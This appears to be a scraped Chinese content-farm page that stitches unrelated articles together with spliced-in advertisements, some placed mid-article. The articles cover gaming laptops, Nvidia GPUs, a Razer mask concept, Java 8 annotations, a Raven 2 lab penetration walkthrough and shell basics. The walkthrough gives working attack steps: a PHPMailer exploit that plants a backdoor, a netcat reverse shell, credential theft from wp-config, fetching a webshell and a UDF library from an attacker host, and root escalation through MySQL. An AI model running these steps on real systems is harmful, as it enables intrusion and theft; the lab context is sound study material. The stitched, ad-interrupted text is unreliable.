ROG 遊戲筆電 Zephyrus、Strix、Flow 與 TUF 全陣容更新,輕薄、強效一次擁有_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

CES 2021 開展,Asus 旗下專司遊戲與電競類產品的 ROG 這回趁勢推出不少產品,其中包含各系列的多款筆電,不管是重兵器等級或是輕薄硬漢,陣容相當精采,要外型有外型,內在更是威力驚人,讓你隨身擁有高行動力,無論工作、娛樂,一機在手什麼都行。

ROG 遊戲筆電全陣容更新,輕薄、強效應有盡有

ROG Zephyrus G14 / G15 / Duo
新一代的西風之神來了!在這一代中,Asus 以 AMD 最新處理器與與 Nvidia 最新顯卡的搭配來對 Zephyrus G14 / G15 進行一系列的更新。除前述兩部分的提升外,兩款機型皆提供新的顯示器選項,G14 現在附帶 144Hz 顯示器,另外還加上 2K 120Hz 的版本,Asus 表示能夠涵蓋整個 DCI-P3 色域;G15 則配備了 165Hz QHD 顯示器,同樣擁有 100% DCI-P3 色域。

在上蓋的 AniMe Matrix LED 像素 LED 顯示部分還增加了新的動畫效果,用戶可以將虛擬寵物設定在上面與自己進行互動(雖然旁人看你逗弄筆電會覺得很詭異)。

Zephyrus G15 在設計上有一些另外的改良,師法 G14 受歡迎的 ErgoLift 轉軸,在翻蓋後可以將鍵盤稍微抬高以提升散熱效果,觸控板部分也比前一代大了 20%,還將麥克風從過去的 2 個增加到 3 個,另外在上蓋 AniMe Matrix LED 部分則換成了可依照光線角度不同閃閃發亮的幻彩反光設計。。

兩款機型皆配備有改良過的喇叭,內建 Dolby Atmos 軟體與雙向 AI 消噪功能,另外這兩款機型都擁有 90Wh 的電池容量。Zephyrus G14 / G15 售價並未公布, 預計會在 2021 年第一季上市。

在去年首度推出的雙螢幕旗艦款 Zephyrus Duo 今年也有更新,採用 AMD 處理器(最高支援 Ryzen 9 5900HS 及 Nvidia GeForce RTX 3080),螢幕也採用 4K / 120 Hz 的 IPS 面板,外觀改為黑色,沒有打開蓋子前真是要多低調有多低調。


ROG Strix 2o21

這回 Strix 共推出有兩個不同的系列,分別為 Strix G 與 Strix Scar,共四種不同型號。
Strix Scar 以黑色為主色,再搭配橡膠碳灰、黑色、銀色與桃紅的可客製轉軸蓋,A 件和上抗指紋的亮面 ROG 像素圖騰, C 件局部半透處理,在機身側面飾以相當醒目的 RGB 光條,上蓋更免不了象徵品牌的發光 Logo,機身底部採用多個大型腳墊,真正做到防滑穩定的效果。以隱藏式 Air Arm 取代傳統轉軸設計,在闔上筆電時不會直接暴露在外。

Strix G 則以霧面與 Pixel 像素圖騰搭配的鋁合金 A 件和 C 件,共有黑、、灰兩色,搭配黑、橘兩色轉軸蓋,上蓋的 ROG Logo 為鏡面設計,同樣在機身側面配置 RGB 光條。

除標準版本外,還有一款桃紅色特別版,在上蓋以各種 ROG 產品原色的特色圖紋,加上桃紅色轉軸蓋、ROG Logo,WASD 按鍵也是用特別的桃紅色點綴,當然還有桃紅色的大型腳墊,同捆隨附桃紅色大型滑鼠墊。

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

這兩款機型在鍵盤部分採用 Asus 自有光軸機械鍵盤,而玻璃觸控板部分也加大了 85%,可切換為獨立數字按鍵模式,另外在方向鍵部分也加大,讓大家按得更順手,連接埠主要配置於機身上側,外接各種裝置也不卡手。在這一代的螢幕佔比相較於去年更加提升,極窄邊框副與它 85% 的螢幕佔比,體型卻比去年的機型更小。硬體配備方面採用最新 AMD 處理器、Nvidia GrForce 獨立顯卡,特殊的靜音散熱設計以最低的噪音來維持系統的穩定,螢幕更新率最高可達 165Hz。配備 90Wr 電池,續航最高可達 12.7 小時,支援快速充電技術,從 0 充到 50% 電力僅需 30 分鐘,搭配隨附的 100W USB-C  PD 充電器更是事半功倍。

ROG Flow X13、XG Mobile
Flow X13 是 ROG 系列中首度出現的 2in1 翻轉筆電,鎂合金機身上蓋呼應品名以具流動感的深淺線條始知看起來別具質感,機身可依照個人需求 360 度翻轉,在上蓋還有金屬 ROG 銘牌畫龍點睛。厚度僅有 15.8mm,重量只有 1.3Kg,輕薄好帶卻又不犧牲高效能。上覆康寧大猩猩玻璃的 13.4 吋觸控螢幕搭配極窄邊框,以 16:10 的顯示比例,為你帶來更好的視覺效果。採用最新 AMD Ryzen 9 8 核心處理器,Nvidia GeForce 獨立顯卡,記憶體最高可達 32GB LPDDR4X 4266MHz (雙通道),儲存容量最高可至 1TB M2 NVMe PCIe 3.0 SSD。支援快速充電技術,可在 30 分鐘內將設備電力從 0 充至 50%

XG Mobile 是一款採用 PCIe Gen 3 的 EGPU,承襲 Flow 的流動線條設計,從正面 ROG 鏤空中可見紅色燈光若隱若現,在機背部分配備有支架,以確保良好的空氣流動散熱效果,內建 280W 充電變壓,重量 1kg,厚度僅 29mm,在機身上配置有相當豐富的連接埠,可供你隨需求擴充外部裝置。

ASUS TUF Dash
TUF 系列以強韌、輕薄便攜與強效為主軸,這回的新機承襲這些因素,以更讓人驚豔的樣貌登場。ASUS TUF Dash 通過 MIL-STD 軍規認證,設計簡潔,視覺上相當時髦,深灰、月白兩種機身配色經典耐看,19.9mm 的厚度,重量只有 2.0Kg,有別於一般強效遊戲筆電帶來的厚重感。IPS 螢幕擁有 240Hz 的高更新率與迅捷反應速度,視覺效果超順暢。擁有藍色背光靜音鍵盤,可承受 2 千萬次敲擊,在 WASD 按鍵部分還重點突出,讓你玩遊戲時手指定位一目了然。

這款機型為全球首款搭載第 11 代 Intel H35 系列處理器的筆電,也將會搭載最新的 Nvidia 獨立顯卡。在記憶體與 SSD 部分因應使用者需求採易於升級的設計,擁有更多未來擴展空間。內部採用 5 根散熱管加上低噪音自我清潔冷卻風扇系統,散熱速度快,維持高負載運行時的系統穩定性。支援高速傳輸的最新 Thunderbolt 4 與 WiFi 6 連接,以及 USB-C 100W PD 充電,搭載最新快充技術,30 分鐘即可充至 50% 電力。

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

Nvidia 終於將 RTX 3000 系列導入筆電中,本月起新機陸續現身_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

距離桌上型電腦用的 GeForce RTX 3000 系列顯卡推出不到半年時間,今日(1/13)Nvidia 宣布將為筆電導入 RTX 3060、RTX 3070 和 RTX 3080 等顯卡,憑藉其新的 Ampere 架構,與過去搭載 RTX 2000 系列的筆電相比擁有顯著的效能提升。

Nvidia 終於將 RTX 3000 系列導入筆電中,本月起新機陸續現身

在這次會中,Nvidia 表示,從 1/26 起將會有超過 70 款遊戲筆電配備 RTX 3070 和 RTX 3080 顯卡,而伴隨 RTX 3060 的推出,採用 RTX 3060 顯卡的筆電也會在 2/2 上市。搭載 RTX 3060 的筆電售價從 999 美元起;RTX 3070 筆電的售價則為 1,299 美元起,Nvidia表示在速度上會比以往的 RTX 2070 系統快上 1.5 倍,並且能提供 1440P、90fps 。RTX 3080 筆電的售價為 1,999 美元起,顯卡記憶體最高達 16GB GDDR6,超越 RTX 3080 PC 版,Nvidia 指出這些筆電將可提供 144oP、100fps 以上的幀速。

這些配備最新 RTX 3000 系列筆電採用的是第三代 Nvidia Max-Q 技術,而其變異版本則專為更輕薄的遊戲筆電而設計,主要在將大部分 GPU 熱能從更緊湊的機身中散出,而 Nvidia 與 OEM 廠商對此進行了更進一步的調整改良,以實現此一目標。Nvidia 表示,最新一代的 Max-Q 筆電將提供前代兩倍的效能,並且在這些筆電中皆運用了 Dynamic Boost 2.0 技術,利用 AI 以幀為單位平衡 CPU、GPU 與 GPU 記憶體之間的電力需求,達到即時平衡的效果。

最新 RTX 3000 系列筆電效能強大,足以運行對硬體要求嚴苛的《Microsoft Flight Simulator》,且 Nvidia 還在這些筆電中加入 WhisperMode 2.0,另外 AI 還能管理風扇速度和遊戲設定以保持所需的音位。

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

Razer 展示 Project Hazel 概念,號稱全球最智慧口罩_租車

※超省錢租車方案

商務出差、學生出遊、旅遊渡假、臨時用車!GO 神州租賃有限公司!合法經營、合法連鎖、合法租賃小客車!

今天(1/13) Razer 在官網上發表了一款號稱全球最智慧的口罩「Project Hazel 」,雖然只是概念品,但對於疫情期間又不甘跟別人一樣的人們來說的確具有相當大的吸引力,對筆者這個悶騷個性的人來說更是有種躍躍欲試的感覺,你以為它只是口罩?不,它還會發光跟濾淨空氣呢!

Razer 展示 Project Hazel 概念,號稱全球最智慧口罩

外型上,Project Hazel 效法 N95 口罩,具備光滑、防水、耐磨的再生塑膠透明外殼搭配矽膠護照,與臉部緊密貼合,可重複使用,當你與他人對話時,還能讓對方看到你的嘴型與完整面部表情。在 Project Hazel 上還內建有麥克風與喇叭,可以確保對話時的聲音能夠讓對方清晰聽見;在口罩上還配有光感應器,當處於較暗環境中時,內部的燈光會自動點亮,以便讓別人看見你的臉孔,當然這個色光也能透過 Razer Chroma RGB 軟體來自定顏色。

在口罩外的兩側配置了兩個圓形區塊,它們主要的功能是用來使空氣流通,利用主動式圓形通風裝置,將呼出的二氧化碳排出,並且對吸入的空氣加以過濾,根據 Razer 說法,內部可替換的過濾裝置預計可過濾至少 95% 的微粒,且具備有高度細菌過濾效果,因為具防水性,自然也能防止液體、口水噴濺。在圓形區塊上還配有 RGB 色光,光是這點就足夠讓你與眾不同了。

隨著口罩本體,還附有一個內部配置紫外光燈的充電收納盒,當你將口罩放入其中時,可自動消滅附著在口罩上的細菌與病毒。這款概念產品目前還沒有上市相關資訊,對於必要的送審與核准當然也還沒有進行,但如果順利量產的話,似乎很值得入手啊!

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸,發現這些先進的國家已經早就讓電動車優先上路,而且先進國家空氣品質相當好,電動車節能減碳可以減少空污

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

【Java8新特性】重複註解與類型註解,你真的學會了嗎?_如何寫文案

※教你寫出一流的銷售文案?

銷售文案是什麼?A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代,文案成為行銷中最重要的宣傳方式,好的文案可節省大量宣傳資源,達成行銷目的。

寫在前面

在Java8之前,在某個類或者方法,字段或者參數上標註註解時,同一個註解只能標註一次。但是在Java8中,新增了重複註解和類型註解,也就是說,從Java8開始,支持在某個類或者方法,字段或者參數上標註多個相同的註解。那麼,有讀者就會問了:如何實現呢?別急,往下看!文中不只是Java8中的註解。

JDK5中的註解

1.註解(@)

註解就相當於一種標記,在程序中加了註解就等於為程序加了某種標記。(JDK1.5新特性)。

2.作用

告訴javac編譯器或者java開發工具……向其傳遞某種信息,作為一個標記。

3.如何理解註解?

一個註解就是一個類。

標記可以加在包、類、字段、方法,方法參數以及局部變量上。可以同時存在多個註解。

每一個註解結尾都沒有“;”或者其他特別符號。

定義註解需要的基礎註解信息如下所示。

@SuppressWarnings("deprecation")  //編譯器警告過時(source階段)
@Deprecated						//過時(Runtime階段)
@Override						//重寫(source階段)
@Retention(RetentionPolicy.RUNTIME)	
//保留註解到程序運行時。(Runtime階段)
@Target({ElementType.METHOD,ElementType.TYPE})
//標記既能定義在方法上,又能定義在類、接口、枚舉上等。

注意:

1)添加註解需要有註解類。RetentionPolicy是一個枚舉類(有三個成員)。

2)Target中可以存放數組。它的默認值為任何元素。

  • ElementType.METHOD:表示只能標記在方法上。
  • ElementType.TYPE:表示只能標記定義在類上、接口上、枚舉上等

3)ElementType也是枚舉類。成員包括:ANNOTATION_TYPE(註解)、CONSTRUCTOR(構造方法)、FIEID(成員變量)、LOCAL_VARIABLE(變量)、METHOD(方法)、PACKAGE(包)、PARAMETER(參數)、TYPE。

4.關於註解

  • 元註解:註解的註解(理解:給一個註解類再加註解)
  • 元數據:數據的數據
  • 元信息:信息的信息

5.註解分為三個階段

java源文件–> class文件 –> 內存中的字節碼。

Retention的註解有三種取值:(分別對應註解的三個階段)

  • RetentionPolicy.SOURCE
  • RetentionPolicy.CLASS
  • RetentionPolicy.RUNTIME

注意:註解的默認階段是Class。

6.註解的屬性類型

原始類型(就是八個基本數據類型)、String類型、Class類型、數組類型、枚舉類型、註解類型。

7.為註解增加屬性

value:是一個特殊的屬性,若在設置值時只有一個value屬性需要設置或者其他屬性都採用默認值時 ,那麼value=可以省略,直接寫所設置的值即可。

例如:@SuppressWarnings("deprecation")

為屬性指定缺省值(默認值):
例如:String value() default "blue"; //定義在註解類中

數組類型的屬性:
例如:int[] arrayArr() default {3,4,5,5};//定義在註解類中
SunAnnotation(arrayArr={3,9,8}) //設置數組值
注意:如果數組屬性中只有一個元素時,屬性值部分可以省略大括號。
例如:SunAnnotation(arrayArr=9)

枚舉類型的屬性:
例如:EnumDemo.TrafficLamp lamp()
////枚舉類型屬性, 定義在註解類中,這裏使用了自定義的枚舉類EnumDemo.java並沒有給出相關代碼,這裏只是舉個例子
default EnumDemo.TrafficLamp.RED;

註解類型的屬性:
例如:MetaAnnotation annotationAttr()
//定義在一個註解類中,並指定缺省值,
//此屬性關聯到註解類:MetaAnnotation.java, 
default @MetaAnnotation("lhm");
//設置註解屬性值
@SunAnnotation(annotationAttr=@MetaAnnotation("flx"))

Java8中的註解

對於註解(也被稱做元數據),Java 8 主要有兩點改進:類型註解和重複註解。

1.類型註解

1)Java 8 的類型註解擴展了註解使用的範圍。

在java 8之前,註解只能是在聲明的地方所使用,java8開始,註解可以應用在任何地方。

例如:

創建類實例

new @Interned MyObject();

類型映射

myString = (@NonNull String) str;

implements 語句中

class UnmodifiableList<T> implements@Readonly List<@Readonly T> { ... }

throw exception聲明

void monitorTemperature() throws@Critical TemperatureException { ... }

注意:

在Java 8裏面,當類型轉化甚至分配新對象的時候,都可以在聲明變量或者參數的時候使用註解。
Java註解可以支持任意類型。

類型註解只是語法而不是語義,並不會影響java的編譯時間,加載時間,以及運行時間,也就是說,編譯成class文件的時候並不包含類型註解。

2)新增ElementType.TYPE_USE 和ElementType.TYPE_PARAMETER(在Target上)

新增的兩個註釋的程序元素類型 ElementType.TYPE_USE 和 ElementType.TYPE_PARAMETER用來描述註解的新場合。

  • ElementType.TYPE_PARAMETER 表示該註解能寫在類型變量的聲明語句中。
  • ElementType.TYPE_USE 表示該註解能寫在使用類型的任何語句中(例如:聲明語句、泛型和強制轉換語句中的類型)。

例如,下面的示例。

@Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE})
@interface MyAnnotation {}

3)類型註解的作用

類型註解被用來支持在Java的程序中做強類型檢查。配合第三方插件工具Checker Framework(注:此插件so easy,這裏不介紹了),可以在編譯的時候檢測出runtime error(例如:UnsupportedOperationException; NumberFormatException;NullPointerException異常等都是runtime error),以提高代碼質量。這就是類型註解的作用。

注意:使用Checker Framework可以找到類型註解出現的地方並檢查。

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

例如下面的代碼。

import checkers.nullness.quals.*;
public class TestDemo{
    void sample() {
        @NonNull Object my = new Object();
    }
}

使用javac編譯上面的類:(當然若下載了Checker Framework插件就不需要這麼麻煩了)

javac -processor checkers.nullness.NullnessChecker TestDemo.java

上面編譯是通過的,但若修改代碼:

@NonNull Object my = null;

但若不想使用類型註解檢測出來錯誤,則不需要processor,正常javac TestDemo.java是可以通過編譯的,但是運行時會報 NullPointerException 異常。

為了能在編譯期間就自動檢查出這類異常,可以通過類型註解結合 Checker Framework 提前排查出來錯誤異常。

注意java 5,6,7版本是不支持註解@NonNull,但checker framework 有個向下兼容的解決方案,就是將類型註解@NonNull 用/**/註釋起來。

import checkers.nullness.quals.*;
public class TestDemo{
    void sample() {
        /*@NonNull*/ Object my = null;
    }
}

這樣javac編譯器就會忽略掉註釋塊,但用checker framework裏面的javac編譯器同樣能夠檢測出@NonNull錯誤。
通過 類型註解 + checker framework 可以在編譯時就找到runtime error。

2.重複註解

允許在同一聲明類型(類,屬性,或方法)上多次使用同一個註解。

Java8以前的版本使用註解有一個限制是相同的註解在同一位置只能使用一次,不能使用多次。

Java 8 引入了重複註解機制,這樣相同的註解可以在同一地方使用多次。重複註解機制本身必須用 @Repeatable 註解。

實際上,重複註解不是一個語言上的改變,只是編譯器層面的改動,技術層面仍然是一樣的。

例如,我們可以使用如下示例來具體對比Java8之前的版本和Java8中的註解。

1)自定義一個包裝類Hints註解用來放置一組具體的Hint註解

@interface MyHints {
    Hint[] value();
}
 
@Repeatable(MyHints.class)
@interface Hint {
    String value();
}

使用包裝類當容器來存多個註解(舊版本方法)

@MyHints({@Hint("hint1"), @Hint("hint2")})
class Person {}

使用多重註解(新方法)

@Hint("hint1")
@Hint("hint2")
class Person {}

2)完整類測試如下所示。

public class RepeatingAnnotations {
    @Target(ElementType.TYPE)
    @Retention(RetentionPolicy.RUNTIME)
    public @interface Filters {
        Filter[] value();
    }
    
    @Target(ElementType.TYPE)
    @Retention(RetentionPolicy.RUNTIME)
    @Repeatable(Filters.class)
    public @interface Filter {
        String value();
    }
    @Filter("filter1")
    @Filter("filter2")
    public interface Filterable {
    }
    public static void main(String[] args) {
        for (Filter filter : Filterable.class.getAnnotationsByType(Filter.class)) {
            System.out.println(filter.value());
        }
    }
}

輸出結果:

filter1
filter2

分析:

註釋Filter被@Repeatable( Filters.class )註釋。Filters 只是一個容器,它持有Filter, 編譯器儘力向程序員隱藏它的存在。通過這樣的方式,Filterable接口可以被Filter註釋兩次。

另外,反射的API提供一個新方法getAnnotationsByType() 來返回重複註釋的類型(注意Filterable.class.getAnnotation( Filters.class )將會返回編譯器注入的Filters實例。

3)java 8之前也有重複使用註解的解決方案,但可讀性不好。

public @interface MyAnnotation {  
     String role();  
}  
 
public @interface Annotations {  
    MyAnnotation[] value();  
}  
 
public class RepeatAnnotationUseOldVersion {  
    @Annotations({@MyAnnotation(role="Admin"),@MyAnnotation(role="Manager")})  
    public void doSomeThing(){  
    }  
}

Java8的實現方式(由另一個註解來存儲重複註解,在使用時候,用存儲註解Authorities來擴展重複註解),可讀性更強。

@Repeatable(Annotations.class) 
public @interface MyAnnotation {  
     String role();  
}  
 
public @interface Annotations {  
    MyAnnotation[] value();  
}  
 
public class RepeatAnnotationUseOldVersion {  
	@MyAnnotation(role="Admin")  
    @MyAnnotation(role="Manager")
    public void doSomeThing(){  
    }  
} 

什麼?沒看懂?那就再來一波!!!

Java8對註解的增強

Java 8對註解處理提供了兩點改進:可重複的註解及可用於類型的註解。總體來說,比較簡單,下面,我們就以實例的形式來說明Java8中的重複註解和類型註解。

首先,我們來定義一個註解類BingheAnnotation,如下所示。

package io.mykit.binghe.java8.annotition;

import java.lang.annotation.*;

/**
 * @author binghe
 * @version 1.0.0
 * @description 定義註解
 */
@Repeatable(BingheAnnotations.class)
@Target({ElementType.TYPE, ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE,ElementType.TYPE_PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
public @interface BingheAnnotation {
    String value();
}

注意:在BingheAnnotation註解類上比普通的註解多了一個@Repeatable(BingheAnnotations.class)註解,有小夥伴會問:這個是啥啊?這個就是Java8中定義可重複註解的關鍵,至於BingheAnnotations.class,大家別急,繼續往下看就明白了。

接下來,咱們定義一個BingheAnnotations註解類,如下所示。

package io.mykit.binghe.java8.annotation;

import java.lang.annotation.*;

/**
 * @author binghe
 * @version 1.0.0
 * @description 定義註解
 */
@Target({ElementType.TYPE, ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE,ElementType.TYPE_PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
public @interface BingheAnnotations {
    BingheAnnotation[] value();
}

看到這裏,大家明白了吧!!沒錯,BingheAnnotations也是一個註解類,它相比於BingheAnnotation註解類來說,少了一個@Repeatable(BingheAnnotations.class)註解,也就是說,BingheAnnotations註解類的定義與普通的註解幾乎沒啥區別。值得注意的是,我們在BingheAnnotations註解類中,定義了一個BingheAnnotation註解類的數組,也就是說,在BingheAnnotations註解類中,包含有多個BingheAnnotation註解。所以,在BingheAnnotation註解類上指定@Repeatable(BingheAnnotations.class)來說明可以在類、字段、方法、參數、構造方法、參數上重複使用BingheAnnotation註解。

接下來,我們創建一個Binghe類,在Binghe類中定義一個init()方法,在init方法上,重複使用@BingheAnnotation註解指定相應的數據,如下所示。

package io.mykit.binghe.java8.annotation;

/**
 * @author binghe
 * @version 1.0.0
 * @description 測試註解
 */
@BingheAnnotation("binghe")
@BingheAnnotation("class")
public class Binghe {

    @BingheAnnotation("init")
    @BingheAnnotation("method")
    public void init(){

    }
}

到此,我們就可以測試重複註解了,創建類BingheAnnotationTest,對重複註解進行測試,如下所示。

package io.mykit.binghe.java8.annotation;

import java.lang.reflect.Method;
import java.util.Arrays;

/**
 * @author binghe
 * @version 1.0.0
 * @description 測試註解
 */
public class BingheAnnotationTest {

    public static void main(String[] args) throws NoSuchMethodException {
        Class<Binghe> clazz = Binghe.class;
        BingheAnnotation[] annotations = clazz.getAnnotationsByType(BingheAnnotation.class);
        System.out.println("類上的重複註解如下:");
        Arrays.stream(annotations).forEach((a) -> System.out.print(a.value() + " "));

        System.out.println();
        System.out.println("=============================");

        Method method = clazz.getMethod("init");
        annotations = method.getAnnotationsByType(BingheAnnotation.class);
        System.out.println("方法上的重複註解如下:");
        Arrays.stream(annotations).forEach((a) -> System.out.print(a.value() + " "));
    }
}

運行main()方法,輸出如下的結果信息。

類上的重複註解如下:
binghe class 
=============================
方法上的重複註解如下:
init method 

寫在最後

如果覺得文章對你有點幫助,請微信搜索並關注「 冰河技術 」微信公眾號,跟冰河學習Java8新特性。

最後,附上Java8新特性核心知識圖,祝大家在學習Java8新特性時少走彎路。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站,將擁有強大的資料管理與更新功能,幫助您隨時新增網站的內容並節省網站開發的成本。

Raven 2 靶機滲透_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

前言

近幾天比較閑,在上周也閑着無聊跑去盒子挖了一周的洞。這周又開始不知道幹些啥了,所以就找個靶機來玩玩。

Raven 2 靶機滲透

搭建完環境后,發現並沒有登錄賬號和密碼,使用御劍高速掃描,先掃描機器的ip和端口,看看有沒有啥能利用到的。

發現了192.168.27.136 ip 並且80端口和22端口是開啟的,首先先從80端口,嘗試 來嘗試掃描目錄。

掃描目錄時,發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。

連接超時!!! 果斷放棄!!!

但是作為一個年輕小伙子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]

翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。

點開readme.md 發現是個PHPMailer

由於以前也沒見過,上百度查了一下才知道是個發送电子郵件的函數包。

去百度查找了一下 居然有命令執行漏洞。

為了方便,直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裡有好幾個exp,但是也不能一個一個去試,利用條件不一樣,還得去查找的他版本。
在我開啟vendor/version文件的時候,直接就显示了版本

確定版本后就可以直接下載exp了,

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。

那麼我們還需要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑,而且拿下了一個flag。

這裏並不打算去拿flag,而是直接拿權限[手動滑稽][手動滑稽]。

現在就可以開始來改我們的exp了

這裏把target改成了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,所以地址得帶上這個頁面。

在運行exp的時候,py爆了個錯誤,說我的編碼有錯誤,我立馬在頭部加了一個utf-8的默認編碼方式,但是依然不行,肯定是這個工具啟動提示的時候,輸出了特殊字符所以才會這樣,把它刪掉就好了[手動滑稽][手動滑稽]。

這裏直接就執行成功,我們去訪問contact.php就會生成一個backdoor.php,訪問后可以直接反彈shell了
kali啟動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互,使用py進入到偽終端

python -c “import pty;pty.spawn(‘/bin/bash’)”

輸入whoami發現,是個www的權限,權限比較低,還需要進行提權的操作,先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的,mysql 5.6以下的默認安裝為system權限或者是root權限。這裏嘗試使用udf提權,先來翻找他的mysql密碼,
一般網站需要對數據庫進行查詢操作的話都是需要連接數據庫的,基本上都會去包含數據庫的連接文件,而數據庫連接文件一般命名為config.inc.php,config.php。
這裏就來找一下,進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root賬號的密碼為:

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

R@v3nSecurity

然後就可以嘗試去udf提權,但是我這嫌nc比較麻煩,所以還是寫入一個一句話木馬。

echo “

寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是一樣。

那麼就直接換個思路,直接讓他去請求遠程的文件進行下載

放在服務器上面的時候,不能一腳本格式進行上傳,不然腳本會直接運行,將他命名為cmd.txt文件,然後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啟動web服務 設置根目錄為root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件改名為php後綴,然後使用蟻劍進行連接。

連接成功后,使用管理數據功能,進行mysql連接,查詢mysql版本信息。

這裏還有幾個注意事項,在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用,
mysql 4.1-5.0 版本中,對註冊的dll位置做了限制,創建函數時候對應的dll不能包含斜杠或者反斜杠,
不能是絕對路徑,所以會將dll導出到systm32目錄下,去繞過這個限制。
在mysql5.1版本后,創建函數的dll只能放在mysql的plugin目錄下,也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like ‘%plugin%’;

現在我們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來后,是個c文件還得使用gcc進行編譯后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成后,使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫創建表:

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

導出完成后,這裏就可以直接創建一個函數,來進行執行命令了

create function do_system returns integer soname ‘udf.so’;

創建完成后可以查詢是否創建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了,很難受,幹啥都沒精力,我想我還是需要妹子來溫暖我的心

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

shell script的簡單使用_網頁設計

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

shell script的簡單介紹

shell變量

1.命名規則

  • 命名只能使用英文字母,数字和下劃線,首個字符不能以数字開頭
  • 中間不能有空格,可以使用下劃線(_)
  • 不能使用標點符號。
  • 不能使用bash里的關鍵字

2.定義變量:name=value
3.使用變量:$name
4.只讀變量:readonly name
5.刪除變量:uset name
6.變量類型

  • 局部變量:當前shell有效
  • 環境變量:所有的應用程序有效

shell字符串

  1. 雙引號:可解析變量,可以出現轉義字符
  2. 單引號:不解析變量,原樣輸出
  3. 字符串拼接:
name="hello"
# 使用雙引號拼接
greeting="hello, "$name" !"
greeting_1="hello, $name} !"
echo $greeting  $greeting_1
# 使用單引號拼接
greeting_2='hello, '$name' !'
greeting_3='hello, ${name} !'
echo $greeting_2  $greeting_3

輸出結果為:

網頁設計最專業,超強功能平台可客製化

